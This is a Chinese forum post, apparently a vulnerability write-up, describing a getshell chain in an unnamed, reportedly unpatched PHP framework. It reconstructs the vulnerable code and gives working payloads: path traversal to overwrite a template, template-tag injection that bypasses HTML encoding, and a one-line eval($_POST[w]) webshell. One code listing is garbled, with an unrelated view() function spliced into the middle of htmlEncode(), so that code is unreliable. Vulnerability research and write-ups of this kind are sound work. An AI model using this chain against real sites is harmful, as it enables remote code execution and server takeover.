QQ登录

只需一步,快速开始

微信登录

扫一扫,访问微社区

柳月论坛

查看: 1822|回复: 0

记一次曲折的Getshell过程

  [复制链接]
keynight 发表于 2017-8-26 11:53:14 | 显示全部楼层 |阅读模式

注册会员,学习更多最新技术!

您需要 登录 才可以下载或查看,没有帐号?点击注册

x
360截图20170826135046010.png

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的过程有点曲折感觉可以写篇文章总结一下,方便与各位大牛交流交流。

因为此框架有大量用户,并且此漏洞并未修复,故此隐去所有有关此框架的信息,连文章中出现的代码都是我自己另写的,重在思路,希望大家理解。

首先通过审计定位到可能导致漏洞的代码(路径:/edit/creat.php):

  1. $file = $_GP['file'];
  2.     $viewFile = './setting/' . $file;
  3.     if (!file_exists($viewFile)) {
  4.         mkdirs(dirname($viewFile));
  5.         file_put_contents($viewFile, '<!-- SETTING URL:setting /' . $file . ' -->');
  6.     }
复制代码

其中 $GP 是合并 $GET 和 $_POST 的变量。

可以看到写入的文件路径和写入的部分内容都是可控的,看到这里不禁露出了一丝笑容,没想到一枚 getshell 如此轻松。

好吧,先测试一下,把$file的值设置为:

  1. <?php echo 1111; ?>.php
复制代码

post 到 /index.php? control=edit&action=creat

(此框架是单入口)

预计生成的文件内容是:

  1. <!-- SETTING URL:setting/<?php echo 1111;?>.php -->
复制代码

好了,那访问一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右键查看一下源码,发现输出的内容是:

  1. <!-- SETTING URL:setting/<?php echo 1111;?>.php -->
复制代码

居然被过滤了? 回溯之前的代码,在 index.php 文件中发现代码:


  1.     $_GP= array_merge($_GET, $_POST);
  2.     $_GP = htmlEncode($_GP);
  3.     $control = $_GP['control'];
  4.     $action = $_GP['action'];
  5.     $controls = array('basic', 'edit');
  6.     $actions = array('index', 'creat');
  7.     if (in_array($control, $controls) &&in_array($action, $actions)) {
  8.         $file ="./$control/$action.php";
  9.         include $file;
  10.     } else {
  11.         echo 'error';
  12.     }
复制代码

关键在开始的两行代码上,htmlEncode ? 搜索这个函数,找到这个函数的代码如下:


  1. function htmlEncode($var) {
  2.    if (is_array($var)) {<div class="blockcode"><blockquote>function view($var) {
  3.         /*
  4.             这里一系列的处理就不写了
  5.             过程就是对模板中出现的伪代码进行处理
  6.             这些做过 Web MVC 开发的都知道

  7.             而伪代码的格式与常见的格式一样,用大括号把变量括起来,比如:{$var}
  8.             当然还有一些 {if $var==xx}、{loop $var as $value} 等等这些

  9.             其实这些处理的目的就是生成 PHP 可解析的代码
  10.         */
  11.         //假设解析后的代码文件存放在一个 tmp 目录里,而目录的路径赋值给了 $viewFile 变量
  12.         include $viewFile;
  13. }
复制代码

       foreach ($var as $key => $value) {
            $var[htmlspecialchars($key)] =htmlEncode($value);
       }
   } else {
       $var = str_replace('&', '&', htmlspecialchars($var,ENT_QUOTES));
   }
   return $var;
}

结合起来,就是对 post 和 get 获取到的所有内容进行htmlspecialchars,所以才会出现上面所看到的尖括号被过滤的情况。

看到这里,脸上的笑容都消失了,哎呀,果然没那么容易。尖括号过滤了,那就没办法写入PHP 代码的解析标签了,想不到什么突破的办法,难道就这样放弃么?开始犯愁…

一直想着:过滤了尖括号怎么办?过滤了尖括号怎么办?过滤了尖括号怎么办……

那我能不能不用尖括号呢?不用尖括号能不能解析?要怎么才能解析?想到这里,突然就想到模板!这个框架的模板和大多数 MVC 的模板一样,使用大括号作为标记:

这样就可以使用模板的标记 {} 来绕过尖括号 <> 的过滤,但是根据这个框架的路由协定,模板不能随便被包含,所以只能覆盖原有的模板。

按照这个思路,找一个有加载模板的功能,覆盖加载的模板,覆盖之后访问了就可以解析了。按照这个思路,找到一个加载了模板的功能,URL是:

/index.php? control=basic&action=index

代码路径在/basic/index.php,代码最后就有调用 view(‘index’);

加载的模板路径在:

/themes/basic/index.html

按照这些信息,应该构造 $file 的值为:

../../themes/basic/index.html

但是这样又有一个问题了,虽然构造这样的值可以覆盖原有的模板文件,但是写入的文件内容就是:

<!-- SETTING URL:setting/../../themes/basic/index.html-->

这样的话就没有写入需要的 Webshell 了,怎么办呢?!

根据 URL 的特性,./1.php 和 ./test/../1.php 访问的内容是一样的,都是 1.php 这个文件,但是 test 这个目录名我是可以随便写的,再根据模板伪代码的格式构造一个控制 $file 的测试 POC:

../../{php echo 1111;}/../themes/basic/index.html

(根据 view() 函数的代码,有一个{php }伪代码标签,处理的时候会替换为 <?php >。其实就算是没有这标签也可以用其他非组合的标签代替)

生成的文件内容为:

<!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html -->

访问 URL:

/index.php? control=basic&action=index

右键查看源码,输出的内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明代码执行了,那构造一个包含一句话的 POC,按照上一个 POC 的思路,应该把 file 的值构造为:

../../{phpeval($_POST['w']);}/../themes/basic/index.html

但是访问后发现输出的内容为:

../../{ phpeval($_POST[&quote;w&quote;]); }/../themes/basic/index.html

想起 $file 的值是通过框架封装的 $GP 来获取的,$GP 的值都经过了 htmlencode,怎么办呢?! 根据 PHP 的特性,$_POST['w'] 获取值的时候可以把引号去掉,所以可以把 poc 改为:

../../{php eval($_POST[w]);}/../themes/basic/index.html

访问 URL:/index.php? control=basic&action=index ,给参数 w传值 echo 1111;

右键查看源码,内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明 post 的代码确实被执行了,到服务器上执行:

cd /var/www/html/themes/basic/
vim index.html

至此,getshell 完成,虽然过程有点艰辛,但还是拿下了。

最后总结一下:


1. 刚开始遇到过滤尖括号等的 HTML 字符的时候,利用了 MVC 模板中的伪代码代替绕过了

2. 遇到覆盖文件时候填写完整路径不能写入payload 的问题,使用了构造一个不存在的目录(目录的名称就是 payload)的方法进行 payload 的写入

3. 最后写入 payload 的时候发现也过滤了引号导致不能写入 $POST['w'] ,根据 PHP 的特性,去掉引号依然可以获取 w 下标的内容,所以替换为 $POST[w]

4. 写入最终构造好的 payload,Getshell 完成!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 点击注册

本版积分规则

QQ|手机版|小黑屋|Archiver| 柳月论坛 ( 鄂ICP备16013399号-1 )

GMT+8, 2018-12-14 17:55 , Processed in 0.081639 second(s), 22 queries , Gzip On.

Powered by 柳月论坛

© 2010-2018

快速回复 返回顶部 返回列表